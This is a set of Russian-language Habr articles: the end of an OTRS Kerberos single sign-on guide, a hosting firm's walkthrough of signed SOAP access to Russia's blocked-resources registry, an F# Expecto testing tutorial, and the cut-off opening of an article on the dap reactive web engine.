AllowOverride All Options +ExecCGI -Includes AuthType Kerberos AuthName "Kerberos Authntication" KrbAuthRealms RUS.LOCAL Krb5Keytab /etc/httpd.keytab KrbMethodNegotiate On KrbSaveCredentials Off KrbVerifyKDC Off Require valid-user ``` После чего перечитаем конфиги Апача и перезапустим его: ``` service apache2 reload service apache2 restart ``` После этих манипуляций, при попытке доступа к скриптам OTRS Apache попытается аутентифицировать пользователя и если успешно — загонит его логин в переменную *$\_ENV['REMOTE\_USER']*, откуда модуль аутентификации OTRS *HTTPBasicAuth*, считает имя пользователя, прошерстит свою базу и если найдет такого пользователя, то откроет страницу Кустомера в залогинененом виде. И всё вроде бы ничего, вот только страница Кустомера, если мы сейча попытаемся на неё зайти, скажет нам совсем странную вешь, «Авторизация прошла успешно, но не удалось найти пользователя в базе». Начинаем отладку. Для этого скачиваем пару скриптов на перле: [whoami.pl](https://gist.github.com/benallfree/b636e915ba56f87668da) [test.pl](http://pastebin.com/AiPF3wVv) Забрасываем их к остальным скриптам OTRS в папку */opt/otrs/bin/cgi-bin*, выставляем им права и владельца аналогичного тем, что там уже лежат и пробуем их открыть в браузере. Первый скрипт просто проверяет наличие переменной *$\_ENV['REMOTE\_USER']* и если в ней что-то есть, то выводит сообщение о том, что мы кажется загонились в домене NT c такой-то учёткой, если так и есть, и он показывает нам правильную учётку, то всё ок. Второй скрипт показывает нам какую строку получает OTRS в качестве логина пользователя. И вот тут-то и видим, что OTRS получает что-то типа *username@DOMAIN.RU*, но мы то знаем, что в качестве логина у нас используется *sAMAccountName*, то есть просто *username*, без домена, да и в списке Клиентов на предыдущем этапе мы так же видели, что логины у нас без имени домена. Вот где собака порылась, поэтому то и происходит такая ситуация, Apache отработал, авторизация прошла успешно и всё ок, а вот OTRS найти пользователя в своей базе не смог. Получается что нам надо как-то выкинуть из имени пользователя домен перед поиском его в базе OTRS. Благо поправить это совсем просто, хотя пока я разобрался как, ушло прилично сил и времени. Для этого опять идем в интерфейс Агента, *«Администрирование» — «Конфигурация системы» — «Framework» — «Frontend::Customer::Auth»*, находим параметр *Customer::AuthModule::HTTPBasicAuth::ReplaceRegExp*, включаем его, а в поле для ввода оставляем то что там есть, для тех кто стёр значение по умолчанию, там должна быть вот такая регулярка `^(.+?)@.+?$` К сожалению регулярные выражения на Perle остаются для меня недоступной магией и запредельным шаманством, поэтому не могу пояснить как оно работает (буду крайне признателен, если кто ни будь даст пояснения в комментах, и я с удовольствием добавлю его в статью) Но в двух словах, оно отбрасывает от имени пользователя всё что после символа *«@»* включительно. Жмём «отправить» внизу страницы и топаем по адресу интерфейса Кустомера: *[helpdesk.domain.ru/otrs/customer.pl](http://helpdesk.domain.ru/otrs/customer.pl)* Всё должно работать. #### UPD. По поводу магии регулярного выражения: `^(.+?)@.+?$` Всё оказалось очень просто, как мне пояснили «по сравнению с магией регулярок это так, детский спиритический сеанс» (с). символ ^ — начало обрабатываемой строки символ $ — конец обрабатываемой строки Символы () — показывают что в результате обработки нужно оставить то, что находится между ними ? — любой символ .+ — рекурсивная конкатенация (в результате выражение '.+?' — дословно означает любая строка) Символ @ — не является специсмволом, поэтому обрабатывается как часть строки (удивительно, никогда бы не подумал, всегда считал что он как раз таки спецсимвол и его нужно экранировать, как раз остутствие такого экранирования и ввело меня в заблуждение и помешало самому разобраться в этом выражении) И в результате получаем, что регулярка разбивает полученную строку на две части «всё что до символа @» и «всё что после символа @» и возвращает первую часть (так как она в скобочках). МА-А-А-А-А-гия
https://habr.com/ru/post/265537/
null
ru
null
# Как мы получали доступ к базе реестра запрещенных ресурсов Приветствуем тебя, хабрасообщество. Самой обсуждаемой новостью текущей недели в рунете, безусловно, является принятие закона №139-ФЗ и его последствий. В силу того, что [наша компания](http://www.netangels.ru/) предоставляет услуги хостинга, нам понадобился доступ к полной базе реестра, чтобы своевременно реагировать на добавление ресурсов наших клиентов в базу. Это связано с тем, что нам необходимо информировать клиентов о блокировке их ресурсов, ведь в случае, например, блокировки по ip сервера веб-хостинга, могут пострадать и остальные, ни в чем не виноватые, клиенты. К сожалению, получение такого доступа оказалось делом не самым очевидным, поэтому мы хотели бы поделиться результатом прохождения данного квеста. ![](https://habrastorage.org/r/w1560/storage2/d98/713/3f5/d987133f52b4e367795e6130834b5e7f.png) В статье мы бы хотели сфокусироваться на техническом аспекте и избежать обсуждения этическо-политической стороны вопроса, т.к. любой активный пользователь уже успел высказать свое недовольство по данной теме, пожалеть рутрекер с луркоморьем и подумать на тему обхода запрета ресурсов ранее. В настоящий момент доступ к единому реестру запрещенных ресурсов предполагается двух видов: 1. Для всех пользователей интернета в виде формы поиска на [главной странице реестра](http://zapret-info.gov.ru/). Каждый запрос требует ввода капчи, кроме того, форма, по сути, решает задачу получения информации о блокировке конкретного ресурса, известного заранее, т.к. если сайт забанен по url, то ввод в форму имени домена не даст никакого результата. Пример: ~~ww.xapka.com~~ — пусто, ~~http://www.xapka.com/~~ — информация о блокировке. 2. В виде полного дампа базы запрещенных ресурсов в разделе [«операторам связи»](http://zapret-info.gov.ru/tooperators/). Есть возможность доступа либо через [веб-форму](http://zapret-info.gov.ru/tooperators/form/) с необходимостью ввода капчи, либо через SOAP-сервис. Адрес WSDL: [www.zapret-info.gov.ru/services/OperatorRequest/?wsdl](http://www.zapret-info.gov.ru/services/OperatorRequest/?wsdl). Во втором случае каждый запрос на выгрузку базы необходимо подписывать ЭЦП, в формате PKCS#7 и передавать отвязанную подпись вместе с запросом. В идеале мы представляли себе примерно такой порядок действий: покупаем ЭЦП, берем привычный нам Debian, ставим туда соответствующее ПО для автоматической подписи запросов, пишем скрипт, который общаясь с сервером zapret-info через SOAP формирует запрос, подписывает его, скачивает дамп и рядом эвристических методов проверяет, не относятся ли к нам какие-либо ресурсы из списка. Казалось бы, все просто, но на деле оказалось несколько сложней и дольше. ### ЭЦП Сервер zapret-info не предоставляет никакой «песочницы», в которой можно было бы протестировать работу скрипта без наличия валидной ЭЦП, поэтому самым первым делом надо озаботиться ее приобретением. Купить сертификат для создания квалифицированной электронной подписи можно в [доверенном удостоверяющем центре](http://www.reestr-pki.ru/tsl.html). По умолчанию все УЦ для подписывания документов предлагают пользоваться программами из семейства КриптоПРО (КриптоАРМ, cryptcp). К сожалению, пользование этим многообразием программных продуктов омрачает несколько фактов: * Если в состав комплекта ЭЦП входит лицензия КриптоПРО — то скорее всего, она предназначена для Windows. * Сама КриптоПРО ничего не умеет подписывать, а инструменты, которые умеют — требуют отдельной лицензии и покупки. * Возникают еще вопросы про лицензирование (то ли нам нужна лицензия на 1 рабочее место, то ли на 1 сервер). Поэтому быстрый поиск в интернете навел нас на информацию о том, что с помощью несложных действий с Рутокеном можно [научить работать](http://forum.rutoken.ru/topic/1639/) привычный нам OpenSSL. Краткий бриф наших действий такой: 1. Экспортировать ключ в формате PKCS#12 из криптоконтейнера в Windows с помощью утилиты [P12FromGostCSP](http://www.lissi-crypto.ru/products/utils/p12fromcsp/) 2. Преобразовать его в PEM 3. Прописать в конфиге openssl.conf параметры В самом начале, до секций: ``` openssl_conf = openssl_def ``` В конце новые секции: ``` [openssl_def] engines=engine_section [engine_section] gost=gost_section [gost_section] engine_id=gost default_algorithms=ALL ``` 4. Все готово, теперь можно попробовать создать любой файл и подписать его: ``` $ echo "Test" > document.txt $ openssl smime -sign -binary -signer ~/sign/gost.crt -inkey ~/sign/gost_nopass.key -outform PEM -in document.txt -out document.txt.sign ``` и проверить его через [форму на госуслугах](http://www.gosuslugi.ru/pgu/eds) (раздел «отсоединенная, в формате PKCS#7»). Если подпись проходит проверку — можно двигаться дальше. ### Формируем запрос Тут тоже оказалось не все так гладко, как хотелось бы. Все дело в том, что на любую проблему выдается малоинформативное сообщение вида: «Ошибка! Файл запроса не соответствует требуемому формату». Но методом проб и ошибок были выяснены следующие требования к файлу запроса: * Важен точный порядок следования элементов XML-документа, как в примере. * Кодировка xml-документа исключительно windows-1251. * XML declaration string должен полностью соответствовать примеру (т.е. нельзя ни порядок аттрибутов менять, ни лишнего пробела между аттрибутами добавлять, ни двойные кавычки на одинарные поменять). После формирования запроса подписываем его и получаем подпись. Дальше либо отправляем их через метод SOAP sendRequest(), изначально закодировав в base64 содержание файлов запроса и файла подписи, либо отправляем их [через форму](http://zapret-info.gov.ru/tooperators/form/#form). Получаем идентификатор запроса, ждем около минуты и проверяем результат обработки запроса (метод getResult(), либо вторая форма на странице запроса). Кстати, и тут у нас с первого раза не все прошло так гладко. На странице появилась еще одна надпись: > Ошибка! неверный формат ЭП (информация по обратной связи для разрешения проблем приведена в Памятке оператору связи в разделе [www.zapret-info.gov.ru/tooperators](http://www.zapret-info.gov.ru/tooperators/)) > > Тут уже наши догадки закончились и мы написали на почту поддержки: [support@rsoc.ru](mailto:support@rsoc.ru), откуда через несколько часов пришел ответ, что в алгоритм проверки ЭЦП были внесены корректировки и нам нужно попробовать еще раз. Со второго раза проверка прошла успешно и нам был выдан zip-архив, в котором находились дамп реестра и его ЭЦП. ### Автоматизация После всех описанных действий, никаких проблем с автоматизацией у нас не возникло. Алгоритм работы примерно такой: 1. проверяем, не изменился ли таймстамп базы; 2. если изменился — формируем запрос, генерируем подпись, отправляем запрос; 3. периодически опрашиваем сервис на предмет готовности результата; 4. если результат есть — получаем архив дампа, разархивируем его и проверяем список ресурсов на принадлежность нашим клиентам. #### Пара советов: * Для питона самой удобной реализацией SOAP-клиента оказался модуль [suds](http://pypi.python.org/pypi/suds/0.4) * lxml.builder ставит одиночные кавычки в xml declaration string, поэтому у нас генерация xml запроса выглядит как-то так: ``` from datetime import datetime from dateutil.tz import tzlocal from lxml import etree from lxml.builder import E request_xml = E.request( E.requestTime(datetime.now(tzlocal()).isoformat()), E.operatorName(settings.NETANGELS_OPERATOR_NAME), E.inn(settings.NETANGELS_INN), E.ogrn(settings.NETANGELS_OGRN), E.email(settings.NETANGELS_EMAIL), ) # Роскомнадзор не умеют работать с одиночными кавычками и utf-8 :-( request_str = etree.tostring(request_xml, xml_declaration=True, encoding='windows-1251').replace("'", '"') ``` ### Выводы * При словах linux в контексте вопроса: «Каким ПО мы можем подписать документ из скрипта?» все удостоверяющие центры впадают в ступор и предлагают ознакомиться с решениями для Windows :-) * Мониторинг реестра запрещенных ресурсов можно и нужно автоматизировать, если ваша деятельность связана с хостингом. * При запуске любых сервисов необходимо предоставлять разработчикам «песочницу», где можно проверить базовую интеграцию с ними. * Иногда задача, связанная с работой с государственными структурами, может заступориться в совершенно неожиданном месте.
https://habr.com/ru/post/158891/
null
ru
null
# Тест – это вещь! F#, тестирование на базе Expecto. Часть первая ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/87b/e33/7c6/87be337c65cd9b7a5295b90a72e84892.jpg)[Expecto](https://github.com/haf/expecto) — фреймворк для тестирования, написанный на F# и для F#. Он довольно хорошо известен в рамках F#-сообщества, и у разработчиков, сумевших отгородиться от C# в достаточной степени, используется как платформа для тестов по умолчанию. Новички в F#, а также мимо проходящие C#-еры, как правило, не обращают внимания на данный фреймворк до первого красного теста. А после знакомства впадают в лёгкий аналитический паралич. Ибо то, что со стороны выглядит как ещё один @"{Prefix}Unit" фреймворк для тестирования, на практике оказывается переосмыслением привычных практик. В данной статье я попробую широкими мазками описать онтологический аппарат Expecto и показать наиболее естественный путь его подчинения. Это не рулбук, а одноразовое введение, которое я предпочёл бы видеть вместо (или до) существующего README.md в официальном репозитории. Также я постараюсь обойтись максимально локальными примерами кода, дабы текст можно было прочитать, не слезая с самоката. > Изначально это был монолитный текст, но формат и объём вынудили разделить его на две части. Вторая часть готова и выйдет через несколько дней, если по каким-то причинам не потребуется её дополнить. В первой части описана базовая составляющая Expecto, во второй – практика применения и возможные перспективы. За исключением данного абзаца и ещё пары на стыках, распиливание монолита на содержимом не сказалось. > > Пара предупреждений о коде Я адепт крышечки. Этот оператор экономит некоторое количество скобочек за счёт игр с приоритетом выполнения. Для того, чтобы код работал, вам потребуется определить: ``` let inline (^) f x = f x ``` В Expecto есть две версии модуля Expect, базовый неудобный и дополнительный адаптированный под пайпы. Активировать второй можно через открытие модуля Expecto.Flip. Ровно в таком порядке: ``` open Expecto open Expecto.Flip ``` Следующий код адаптирует консольный вывод под REPL, для тех, кто собирается использовать Expecto в интерактиве. ``` do Expecto.Logging.Global.initialise { Expecto.Logging.Global.defaultConfig with getLogger = fun name -> new Expecto.Logging.TextWriterTarget(name, Logging.LogLevel.Debug, System.Console.Out) } ``` ### Причины маргинальности Expecto До бегства на F# я страдал на C#, и мою практику юнит-тестирования можно было описать следующий образом. 0. Создать проект, подключить нугет. 1. Создать класс для хранения тестов, снабдить атрибутом при необходимости. 2. Определить сетап для тестов, снабдить атрибутом. 3. Создать метод-тест с именем типа ShouldBeBrokenAfterNuke, снабдить атрибутом. 4. Собрать проект, открыть обозреватель тестов в VS, запустить тест(ы). После переезда на F#, я делал всё то же самое, только в 3 пункте появилась возможность писать: ``` [] let ``Should be broken after nuke.`` () = ``` И тест-вьювер корректно отображал данное имя в списке тестов. Я был счастлив. ~~Конец статьи.~~ --- Трудно линейно проследить и описать мой личный путь к Expecto. Так что поставим себя на место меня 5-6 летней давности и представим, на что я бы обратил внимание, если бы увидел свой современный код: 1. Имена тестов даны строками. testCase "should be broken after nuke" ^ fun () -> ... 2. Сами тесты перестали быть методами. 3. Тесты лежат глубоко в пирамиде судьбы, а не как мемберы типов/модулей. Если потребуется достать их ручками, то лёгкого способа не предусмотрено. 4. Структура тестов теперь не 2-уровневая “Класс - метод”. А представляет из себя дерево произвольной глубины с неравными ветвями. 5. Атрибуты присутствуют только в корнях деревьев. Существуют проекты, где атрибуты вообще не используются. 6. Тесты запускаются через консоль. Стандартные обозреватели тестов не используются. Найти в команде человека, что готов помочь в пусконаладке обозревателя невозможно. 7. Запуск конкретного теста осуществляется через правку кода и повторным запуском через консоль. И т. д. В зависимости от испорченности хозяев проекта, неофит может увидеть различные подмножества сего списка. История чата F#RU хранит случаи, когда столкнувшиеся с этим беспределом новички хотели сдать оппонентов в дурку. И мне в целом понятна их позиция, однако верной от этого она не становится. Причина столь радикальных расхождений кроется в том, что Expecto - результат проектирования тестового фреймфорка с нуля. С опорой на современный человеко-ориентированный язык. Читатель сильно упростит себе жизнь, если будет “разрабатывать” Expecto по ходу повествования, вместо попыток инкрементально нарастить знакомый @"{Prefix}Unit". ### Тест как объект #### Шаг 1. База Если начать с чистого листа, то тест может быть определён как комбинация имени и функции, дающей тесту положительную или отрицательную оценку. Для простоты данное действие можно выразить функцией unit -> bool. ``` type TestCode = unit -> bool type SimpleTest = { Name : string Check : TestCode } // Хелперы опустим. ``` Далее мы просто итерируемся по всем переданным тестам и выводим результат в консоль. ``` type SimpleTest with static member eval test = printfn "%O %A started" System.DateTime.Now test.Name try if test.Check () then printfn "%O %A passed" System.DateTime.Now test.Name else printfn "%O %A failed" System.DateTime.Now test.Name with | ex -> // Не забываем, что тесты любят падать там, где мы этого не ждём. printfn "%O %A errored\n%A" System.DateTime.Now test.Name ex let tests = [ SimpleTest.create "sample" ^ fun () -> true ] tests |> Seq.iter SimpleTest.eval ``` Код настолько простой, что скулы сводит. Однако я уйду недалеко от правды, если скажу, что REPL-стадия пет-проектов хоть и использует Expecto, может быть переложена в данный код без фундаментальных изменений. #### Шаг 2. Интеграция 1. Вывод в консоль/интерактив — штука хорошая. Но по мере роста рабочий код и тесты разбегаются по собственным проектам. В последнем случае это практически сразу приводит подъёму CI, а значит возникает необходимость вывода информации в пайплайн. 2. Очень быстро обнаруживается, что одного лишь факта наличия ошибки недостаточно для её исправления. В случае падения теста хочется получить контекст. Единственным универсальным средством разбора контекста является человек, так что ограничимся текстовой информацией. Стрингификацию контекста повесим на разработчика. Большинство проблем в F# решается добавлением ещё одного слоя до или после существующего конвейера. Этот момент постоянно ускользает от новичков, что приводит к созданию ложно-простых API. *(Действие синонимично добавлению нового уровня абстракции, но, как правило, имеет гораздо более приземлённое наполнение.)* Здесь мы поступим точно также. Выполнение теста будет возвращать результат в виде объекта, который всё также можно вывести в консоль. Но теперь совокупный результат всех тестов может быть подвергнут анализу. ``` type TestCode = unit -> Result // type SimpleTest = {..} type TestResult = | Passed | Failed of string | Errored of exn type TestResult with member this.AsCode = match this with | Passed -> 0 | Failed \_ -> 1 | Errored \_ -> 2 member this.Stringify () = match this with | Passed -> "passed" | Failed msg -> sprintf "failed\n%s" msg | Errorred ex -> srintf "errored\n%A" ex type SimpleTest with static member eval test = try match test.Check () with | Ok () -> Passed | Error err -> Failed err with | ex -> Errored ex let main args = let results = [ for test in tests do printfn "%O %A started" System.DateTime.Now test.Name let result = test.Check () printfn "%O %A %s" System.DateTime.Now test.Name ^ result.Stringify () test, result ] let summary label predicate = let tests = results |> List.filter predicate printfn "%s: %i" label tests.Length for test in tests do printfn "\t%s" test.Name summary "Passed" ^ function TestResult.Passed -> true | \_ -> false summary "Failed" ^ function TestResult.Failed \_ -> true | \_ -> false summary "Errored" ^ function TestResult.Errored \_ -> true | \_ -> false results |> Seq.map ^ fun (\_, result) -> result.AsCode |> Seq.fold (|||) 0 ``` #### Шаг 3. Контроль запуска Когда тестов становится много, хочется контролировать их запуск произвольным образом. Закоменчивать неактуальные в данный момент тесты - не самый быстрый способ доделать проект. UI прикручивать заметно дольше, но перед этим он потребует адекватную модель в коде. С неё и начнём. Отныне каждый тест будет характеризоваться приоритетом выполнения. * Normal - вариант по умолчанию. * Pending - для тестов, чьё выполнение точно не требуется. * Focused - для тестов, что надо выполнить в рамках текущего запуска. Перед выполнением тестов, мы отсечём все тесты со статусом Pending. После чего среди оставшихся найдём все Focused тесты и выполним их. Если окажется, что таких нет, то просто выполним все Normal тесты. ``` type FocusState = | Normal | Pending | Focused type SimpleTest = { Name : string Check : TestCode FocusState : FocusState } type SimpleTest with static member pend test : SimpleTest = // ... static member focus test : SimpleTest = // ... static member create name check : SimpleTest = // ... ``` Используя функции pend и focus, можно управлять приоритетом выполнения тестов. Может выглядеть непривычно, но, во-первых, у нас пока нет UI, во-вторых, даже имея UI, не факт, что получится контролировать запуск и перезапуск тестов на аналогичном уровне. ``` let tests = [ SimpleTest.create "normal sample" ^ fun () -> Ok () SimpleTest.create "focused sample" ^ fun () -> Error "oops" |> SimpleTest.focus ] ``` #### Шаг 4. Иерархия Несмотря на то, что тесты позиционируются как атомы, вряд ли можно столкнуться с ситуацией, когда тесты лишены родства друг с другом. В обычных условиях мы группируем тесты по классам определения. Однако, в отсутствии «классификации», порождённой синтаксисом или фреймворком, можно задуматься о более произвольных структурах. Например, можно использовать в качестве основы всем знакомую файловую структуру. Каждый тест будет находится в рамках древа. Его имя в этом случае может характеризоваться как путь к тесту. * user / storage / entity / execute / valid / change name * user / storage / entity / execute / invalid / after deletion / change name Добьёмся этого мы через добавление ещё одного слоя, но теперь до, а не после. У нас будет тип для выражения древовидной структуры, и тип для тестов, полученных в результате упрощения дерева до списка. ``` type TreeTest = | Leaf of Name : string * TestCode * FocusState | Node of Label : string * TreeTest list * FocusState // Бывший SimpleTest type FlatTest = { Name : string list Check : TestCode FocusState : FocusState } type TreeTest with static member flat (tree : TreeTest) : FlatTest list = // ... static member pend (tree : TreeTest) : TreeTest = // ... static member focus (tree : TreeTest) : TreeTest = // ... ``` Дальнейший код лежит уже не в области логики, а в области DSL. Простор большой, но для начала: ``` let testList label (tests : TreeTest) = TreeTest.Node(label, tests, FocusSate.Normal) let testCase name code = TreeTest.Leaf(name, code, FocusSate.Normal) let tests = testList "samples" [ testCase "valid test" ^ fun () -> Ok () testList "invalid tests" [ testCase "failed" ^ fun () -> Error "oops" testCase "errored" ^ fun () -> failwith "oops!" |> pend ] |> focus ] ``` Результат выполнения окажется следующим: - "samples / valid test" — проигнорирован из-за наличия фокуса. - "samples / invalid tests / failed" — запущен, т.к. Focused. - "samples / invalid tests / errored" — проигнорирован, т.к. помечен как Pending. #### Шаг 5. Expecto Текущего кода недостаточно, чтобы полностью сэмулировать Expecto, но ядро готово. Все остальные надстройки Expecto (такие как ассерты, логирование, конфигурация из консоли и т. д.) имеют куда меньшее отношение к самому тестированию и могут быть освоены как чёрный ящик. Особо заинтересованные могут обратиться к определению следующих типов в исходниках: * [TestCode](https://github.com/haf/expecto/blob/12d8c1441c04ac29369cc1b074df7aa71142a0e2/Expecto/Model.fs#L52) * [FlatTest](https://github.com/haf/expecto/blob/12d8c1441c04ac29369cc1b074df7aa71142a0e2/Expecto/Test.fs#L6) * [Test](https://github.com/haf/expecto/blob/12d8c1441c04ac29369cc1b074df7aa71142a0e2/Expecto/Model.fs#L84) – это наш TreeTest Они заданы сложнее, чем у нас, отрабатывают куда больше специфических случаев, типа асинхронных тестов или FsCheck. Тем не менее, это всё ещё набор алгебраических типов, значение которых может быть выведено линейно, сообразуясь с действительностью. Единственным исключением является TestCode, который в отличие от нашего (unit -> Result) был построен на основе unit -> unit и его асинхронных вариантах. Авторы решили, что не надо нагружать разработчика работой с Result-ами, и снабдили все ассерты, лежащие в модуле Expect выбросом исключения ExpectoException (или его наследников). То есть мы пишем: ``` testCase "sample" ^ fun () -> 2 * 2 |> Expect.equal "" 42 ``` А в результате всё также сохраняем различение между ошибкой имплементации и ошибкой теста. Решение редуцировать описание теста до unit -> unit хорошее, тест почти всегда является терминальной нодой, а значит, мы можем довольно точно ограничить сайд-эффекты. Однако я бы не протаскивал это решение на уровень типов. Никто из разработчиков не задумывается, что за кодом функции testCase, testAsync и т.п. скрывается выбор одного из кейсов TestCode и Test. На то нам и даны DSL, чтобы оперировать категориями характерными для предметной области (в данном случае тестов), а не машинными примитивами. Тем не менее, вместо: ``` type TestCode = | Sync of (unit -> Result) // ... let testCase name action = Test.Label( name , Test.TestCase( TestCode.Sync ^ fun () -> try Ok ^ action () with | :? Expecto.AssertException as ex -> Error ^ AssertInfo.create ex.Message | \_ -> reraise () , FocusState.Normal ) , FocusState.Normal ) ``` Мы получили: ``` type TestCode = | Sync of (unit -> unit) // ... let testCase name action = Test.Label( name , Test.TestCase(TestCode.Sync action, FocusState.Normal) , FocusState.Normal ) // Отлов `AssertException` где-то далеко внизу в недрах раннера. ``` Сигнатура testCase в обоих случаях идентична, как и большинство хелперов над TestCode. Однако информация об особой роли AssertException в первом случае изолируется в рамках конкретного хелпера. Во втором – разрешается лишь в корне раннера. Что на деле приводит к размазанности по всему фреймворку. Тем, кто будет писать расширения к Expecto, в большинстве случаев придётся отрабатывать этот момент. --- Для контроля над запуском тестов все хелперы testCase, testAsync, testList и т.д. получили по 2 копии с префиксами p- (от Pending) и f- (от Focused). То есть для отключения какой-то ветви древа достаточно добавить одну букву: ``` let sampels = testList "samples" [ testList "normal" [ testCase "normal" // .. ftestCase "focused" // .. ] ptestList "pending" // .. ] ``` Прямых хелперов для переключения FocusState существующего теста по неизвестным причинам не завезли. Однако, их можно определить самостоятельно: ``` let focus = Test.translateFocusState FocusState.Focused ``` При этом завезли Test.filter, с предикацией по имени/пути теста. ``` |> Test.filter defaultConfig.joinWith.asString (not << Seq.contains "storage") ``` ### Общий стартап Отныне и впредь, стандартный алгоритм развёртывания Expecto выглядит так: 0. Создаёте пустой консольный проект. 1. Подключаете Expecto и подопытные проекты. 2. Заменяете код Program.fs на: ``` open Expecto [] let main args = runTestsInAssemblyWithCLIArgs [] args ``` 3. Запускаете проект через dotnet run, обнаруживаете, что всё работает, и тестов 0. 4. Добавляете файл с модулем: ``` module SampleTests open Expecto open Expecto.Flip [] let tests = testList "samples" [] ``` 5. Набиваете tests конкретными тестами под задачу. Если задача заключается в рядовом переезде с @"{Prefix}Unit" фреймворка на Expecto, то данного алгоритма хватит на первое время с избытком. Вам не придётся вручную передавать тесты благодаря TestsAttribute. Ориентируясь на него, runTestsInAssembly{Suffix} функции (их там много) обнаружат тесты в рамках текущего проекта. Однако, мой опыт говорит о том, что есть смысл отказаться от использования атрибутов с самого начала. Передача тестов вручную не занимает много времени, но при этом соответствует стремлению F# делать неявное явным. Как правило, точек генерации деревьев в проекте не так много. Почти всегда, это поле или метод в конце файла, сводящий всё внутреннее разнообразие к одной входной точке на файл. Так что лучше во втором пункте сразу начинать с чего-то такого: ``` [] let main args = testList "my project name" [ SampleTests.tests ] |> runTestsWithArgs [] args ``` Дальше разработка будет пребывать в цикле между: * Правка кода * Правка тестов * dotnet run Кто-то может решить, что имеет смысл запускать тесты как проект через IDE. Но о положительном опыте подобного подхода мне неизвестно. Максимум, чего вы добьётесь – получите более тонкие возможности дебага. Есть ли в этом смысл – для мира F# вопрос, мягко говоря, спорный. Здесь я вполне сознательно не затрагивал вопрос интеграции с [Expecto.VisualStudio.TestAdapter](https://www.nuget.org/packages/Expecto.VisualStudio.TestAdapter/). Я никогда не пытался его полноценно использовать. Любой обозреватель тестов, что не контролируется из кода, будет этому коду уступать. Если у вас стоит задача сохранить практику использования тестов из IDE, то флаг вам в руки. Мне известны люди, что успешно им пользовались, но я никогда не работал с ними в одной команде. Ниже станет ясно, что возвращение TestAdapter-а в мою жизнь исключено. Т.к. не только не даёт заметных преимуществ, но и отсекает ряд перспективных подходов. С запуском разобрались, выбранный конкретно вами вариант на дальнейшие рассуждения влияния оказывать не будет. ### Промежуточный итог К данному моменту мы усвоили базовые категории Expecto и научились его заводить. Этого уже достаточно для применения фреймворка в проде, хоть и будет сопряжено с некоторыми трудностями по мере роста тестовой базы. В следующей части мы разберём как правильно писать и генерировать тесты-объекты, как дружить Expecto c Property Based Testing, а сами тесты между собой. После чего коснёмся нестандартных штук на и за границами фреймворка, типа индивидуальных решений под конкретные проекты. **Автор статьи [@kleidemos](/users/kleidemos)** --- НЛО прилетело и оставило здесь промокод для читателей нашего блога: — [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**.
https://habr.com/ru/post/706576/
null
ru
null
# Dap — еще один реактивный движок для веба. Совсем другой Хочу рассказать про dap — интересный и необычный язык реактивных правил для написания, в частности, веб-фронтендов. Для затравки простая задачка: взять список неких пользователей (воспользуемся тестовыми данными, любезно предоставляемыми сервисом [jsonplaceholder.typicode.com](https://jsonplaceholder.typicode.com/)) и вывести их имена обычным html-списком; при нажатии на имя пользователя — показать алерт с его id. Это, конечно, легко делается и на React, и на Angular, и на Vue. Вопрос: *насколько* легко? В dap это делается так: ``` 'UL.users'.d("* :query`https://jsonplaceholder.typicode.com/users" ,'LI'.d("! .name").ui("? .id:alert") ) ``` (\*Этот и последующие dap-примеры можно интерактивно потестить в песочнице [dap.js.org/test.html](https://dap.js.org/test.html)) Это первая пришедшая в голову тривиальная задачка и тривиальный же способ ее решения. На dap удобно писать «в лоб», не городя огород из классов, компонентов и прочего ритуального реквизита. Что вижу, то пою. Но «пою» не на javascript или его производных, а на языке *dap-правил*, специально заточенном на простое и лаконичное описание реактивных зависимостей между элементами. В примере выше, правда, никаких зависимостей пока нет. Зато есть: * оператор `*` для итерации по данным, * конвертер `:query` для асинхронной «конвертации» урла в полученные с него данные, * оператор `!` для «печати» в генерируемый элемент, * конвертер `alert`, магически конверитрующий любые значения в алерт Если вы знакомы с HTML, то слова UL и LI вам, вероятно, известны. Да, это теги для ненумерованного списка и для элемента списка, соответственно. А если и CSS вам не чужд, то и смысл записи UL.users вам должен быть понятен: это элемент UL с классом «users». На HTML это писалось бы , но нам эти сложности с атрибутами и угловыми скобками ни к чему — dap использует лаконичную нотацию, очень похожую на CSS. Хотя и атрибуты при надобности в этой нотации возможны, например: `'FORM action=send.php method=post'`. Кстати: вы заметили, что этот пример написан на обычном javascript, а сами dap-правила это просто строки? И сигнатуры элементов («теги») — тоже строки, просто в одинарных кавычках. Да, код dap-приложения выглядит непривычно, но это — чистый javascript, готовый к употреблению: его не нужно транспилировать из исходников на новомодных языках (что, конечно, не помешает вам этими модными языками пользоваться при желании). Чуть усложним задачку, добавив зависимостей: пусть при нажатии на имя пользователя его id и name отображаются крупненько в элементе H2, под ними пусть будет имейл, а также все его «посты», которые берутся из `/posts?userId={id выбранного пользователя}`. ``` 'heroes'.d("$user=" // изначально $user не выбран ,'UL.users'.d("* :query`https://jsonplaceholder.typicode.com/users" // для каждого пользвателя из списка ,'LI' .d("! .name") // вывести содержимое поля .name .ui("$user=$") // при нажатии выбрать этого пользователя ) ,'details'.d("*@ $user" // для выбранного $user выполнить следующее: ,'H2'.d("! .id `: .name") // вывести его .id и .name, ,'A'.d("!! .email@ (`mailto: .email)concat@href") // дать активную ссылку на .email, ,'posts'.d("* (`https://jsonplaceholder.typicode.com/posts? .id@userId )uri:query" // и показать его посты ,'H3'.d("! .title") ,'p'.d("! .body") ) ) ) ``` Здесь уже имеем зависимость содержимого элемента `'details'` (что в переводе н HTML означает ) от того, какой пользователь выбран. Выбранный пользователь, таким образом, оказывается переменной состояния. Такие переменные в dap-правилах обозначаются префиксом `$` (как s в «state»). При нажатии на любой из элементов LI изменяется содержимое переменной `$user`, на что элемент `'details'` автоматически реагирует и обновляется. В dap структура программы определяет сразу и модель состояния и модель взаимодействия с пользователем (отображение и реакции). С одной стороны это позволяет писать красивый, лаконичный и понятный код, но с другой стороны — требует четкой иерархической структуры приложения. Лично я считаю это требование полезным ограничением: оно заставляет (и помогает) более тщательно прорабатывать логику приложения и избавляться от логических нестыковок. Каким образом `'details'` узнает, что надо бы обновиться? Очень просто: в его правиле генерации присутствует обращение к переменной `$user`, а в правиле реакции элемента LI эта переменная как раз и изменяется. Правила генерации — те, которые указываются с помощью метода `.d` — исполняются на фазе построения элемента. Правила реакции задаются методом `.ui` и исполняются при взаимодействии пользователя с элементом. Это два самых часто употребимых типа правил; кроме них есть еще несколько типов, но о них как-нибудь потом. Синтаксис dap-правил довольно специфичен. Он не имеет ничего общего с всем привычным C-подобным 